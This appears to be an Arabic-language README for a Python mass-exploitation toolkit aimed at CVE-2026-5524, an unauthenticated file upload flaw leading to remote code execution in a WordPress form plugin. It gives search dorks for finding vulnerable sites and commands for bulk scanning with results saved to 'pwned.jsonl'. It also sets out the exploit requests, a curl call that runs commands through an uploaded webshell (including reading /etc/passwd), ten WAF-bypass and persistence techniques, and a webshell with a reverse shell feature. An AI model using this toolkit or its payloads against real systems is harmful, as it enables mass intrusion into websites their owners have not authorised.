
مجموعة أدوات استغلال جماعي بلغة Python لـ CVE-2026-5524، وهي ثغرة تنفيذ أوامر عن بُعد عبر رفع ملفات دون مصادقة في إضافة Divi Form Builder الخاصة بـ WordPress، مع رفع webshell وتنفيذ الأوامر.
مجموعة أدوات استغلال جماعي لـ CVE-2026-5524، وهي ثغرة رفع ملفات عشوائية غير مُصادق عليها في إضافة WordPress Divi Form Builder <= 5.1.8 تؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
| الحقل | القيمة |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (حرجة) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المتأثر | Divi Form Builder <= 5.1.8 |
| المُصحَّح | 5.1.9 |
| النوع | رفع ملفات غير مُصادق عليه يؤدي إلى RCE |
| الباحث | 0xd4rk5id3 - EnvoraSec |
تحتوي إضافة Divi Form Builder لـ WordPress على ثغرة رفع ملفات عشوائية غير مُصادق عليها. يمرر المعالج do_image_upload() المعامل acceptFileTypes المُتحكَّم فيه من المستخدم مباشرةً إلى تعبير نمطي (regular expression) يُستخدم للتحقق من امتدادات الملفات. من خلال توفير قيمة مثل phtml، يمكن للمهاجم تجاوز قاعدة .htaccess الخاصة بالإضافة التي تحظر امتداد .php فقط ورفع webshell بامتداد قابل للتنفيذ بـ PHP (.phtml، .phar، .php5، .php7، وما شابه ذلك).
بمجرد وصول الملف إلى /wp-content/uploads/de_fb_uploads/، ينفذه Apache كـ PHP، مما يمنح المهاجم تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب.
تم إصلاح المشكلة في Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
المتطلبات: Python 3.8 أو أحدث على Linux أو macOS أو WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
للأهداف الواقعة خلف WAF (NinjaFirewall، Wordfence، ModSecurity) أو ذات إعدادات Apache أو nginx مُحصَّنة.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
بعد نجاح الرفع، يمكن للسكربت تنفيذ أمر فورًا أو الدخول إلى shell تفاعلي.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
يبني المعالج المصاب تعبيرًا نمطيًا من مدخلات المستخدم دون تعقيم.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
بإرسال acceptFileTypes=phtml، يصبح التعبير النمطي الناتج /\.(phtml)$/i مطابقًا لأسماء الملفات المنتهية بـ .phtml، حتى مع أن ملف .htaccess الخاص بالإضافة يحظر امتداد .php فقط. ثم ينفذ Apache الملف المرفوع كـ PHP، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
قم بزحف صفحة تتضمن نموذج Divi Form Builder (/، /contact، /quote، إلخ). أضف معامل ?nocache=<random> للتغلب على Varnish و WP Rocket وذاكرات التخزين المؤقت الأخرى للصفحات التي قد تقدم nonce قديمًا.
استخرج قيمة fb_nonce من كائن JavaScript المُترجم:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
أرسل POST بنموذج multipart إلى /wp-admin/admin-ajax.php مع:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
اقرأ عنوان URL للملف من استجابة JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
اطلب الـ shell بأمر مُرمَّز بـ base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
يجرب السكربت كل تقنية بترتيب الأولوية، وعند تفعيل --aggressive، يحاول كل واحدة حتى بعد أن يُبلّغ الرفع الأول عن النجاح.
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
تُقدَّم هذه الأداة لأغراض تعليمية وللاستخدام أثناء مهام اختبار الاختراق المصرح بها. تشمل أمثلة الاستخدام المقبول ما يلي:
يُعد الاستخدام غير المصرح به ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها غير قانوني في كل ولاية قضائية تقريبًا ومحظورًا تمامًا. لا يُقرّ المؤلف ولا يتحمل مسؤولية إساءة استخدام هذا الكود.
J'ai la permission et je suis autorisé à effectuer ce pentest. (لدي الإذن وأنا مصرح لي بإجراء اختبار الاختراق هذا.)
تشمل القوانين ذات الصلة المحتملة قانون UU ITE الإندونيسي، وقانون الاحتيال وإساءة استخدام الحاسوب الأمريكي، واتفاقية الجريمة الإلكترونية للاتحاد الأوروبي، والتشريعات المكافئة في أماكن أخرى. عند الشك، احصل على إذن كتابي أولًا.
للاستخدام التعليمي فقط. راجع قسم إخلاء المسؤولية للاطلاع على شروط الاستخدام الكاملة.
| الخيار | الوصف |
|---|
-u URL | عنوان URL لهدف واحد |
-l FILE | ملف يحتوي على قائمة الأهداف، عنوان URL واحد لكل سطر |
-t N | عدد الخيوط المتزامنة (افتراضي 10) |
--timeout N | مهلة الطلب بالثواني (افتراضي 15) |
-o FILE | حفظ النتائج في ملف إخراج JSONL |
--proxy URL | توجيه حركة المرور عبر بروكسي HTTP |
--nonce HASH | استخدام nonce مُقدَّم يدويًا، وتخطي الاكتشاف التلقائي |
--ext EXT | فرض امتداد واحد بدلًا من قائمة التجاوز الكاملة |
--shell | الدخول إلى shell تفاعلي لـ RCE عند النجاح (هدف واحد فقط) |
--cmd CMD | تنفيذ أمر واحد على الهدف، ثم الخروج |
--shell-file FILE | رفع حمولة shell مخصصة بدلًا من المدمجة |
--no-verify | تخطي خطوة التحقق من RCE بعد الرفع |
--strict-verify | تأكيد أن عنوان URL للـ shell يُرجع HTTP 200 لتصفية الإيجابيات الكاذبة |
--user-ini | رفع dropper لـ .user.ini لبيئات PHP-FPM |
--htaccess | رفع .htaccess لإعادة التمكين لبيئات Apache |
--aggressive | تمكين كل تقنية تجاوز متاحة |
--null-byte | تضمين محاولات null byte والامتداد المزدوج |
--path-traversal | محاولة الرفع إلى أدلة فرعية /uploads/YYYY/MM/ |
--debug | طباعة استجابات HTTP الخام للتشخيص |
| # | التقنية | الأهداف |
|---|
| 1 | امتدادات PHP بديلة .phtml، .phar، .php5، .php7، .php4، .pht، .shtml | قاعدة .htaccess الخاصة بالإضافة التي تحظر .php فقط |
| 2 | تغيير حالة الأحرف .PHTML، .PHP5، .PhTmL | توقيعات WAF الحساسة لحالة الأحرف (NinjaFirewall) |
| 3 | الامتداد المزدوج .phtml.jpg، .php.jpg | سلوكيات التفاوض على المحتوى في Apache mod_mime |
| 4 | null byte .php%00.jpg، .phtml%00.txt | إصدارات PHP القديمة (أقل من 5.3.4) وبعض المحللات |
| 5 | مسافة أو نقطة زائدة .php ، .php. | Windows IIS وإصدارات Apache الأقدم |
| 6 | تزييف Content-Type application/octet-stream | جدران WAF التي تعتمد على ترويسة Content-Type في multipart |
| 7 | رفع .htaccess حقيقي يعيد تمكين PHP لـ .gif، .png، .jpg، .txt، .html، إلخ. | خوادم Apache مع AllowOverride All |
| 8 | رفع .user.ini مع auto_prepend_file | بيئات PHP-FPM |
| 9 | حقن اسم الملف عبر التلاعب بحدود multipart | البروكسيات وجدران WAF التي تعيد تحليل جسم الطلب |
| 10 | اجتياز المسار ../shell.phtml في اسم الملف | قيود دليل الإضافة |
| المكوّن | التقنية |
|---|
| اللغة | Python 3.8+ |
| عميل HTTP | requests |
| معالجة TLS | urllib3 في الوضع غير الآمن للشهادات الموقعة ذاتيًا |
| التزامن | concurrent.futures.ThreadPoolExecutor للفحص الجماعي |
| التحليل | re لاستخراج nonce، json لمعالجة الاستجابات |
| الترميز | base64 لمعامل أمر webshell |
| CLI | argparse مع 19 خيارًا قابلًا للتهيئة |
| المكوّن | التقنية |
|---|
| اللغة | PHP 7.0+ |
| دوال التنفيذ | system()، shell_exec()، proc_open()، passthru()، popen() |
| الواجهة الأمامية | نموذج HTML بسيط، بدون إطار عمل JavaScript |
| الميزات | متصفح ملفات، تنفيذ أوامر، الوصول إلى قاعدة البيانات، reverse shell، تثبيت ذاتي لـ .htaccess و .user.ini |
| الحجم | حوالي 16 KB |
| طبقات التجاوز | ستة مسارات تنفيذ مستقلة بالإضافة إلى حمولات مُرمَّزة |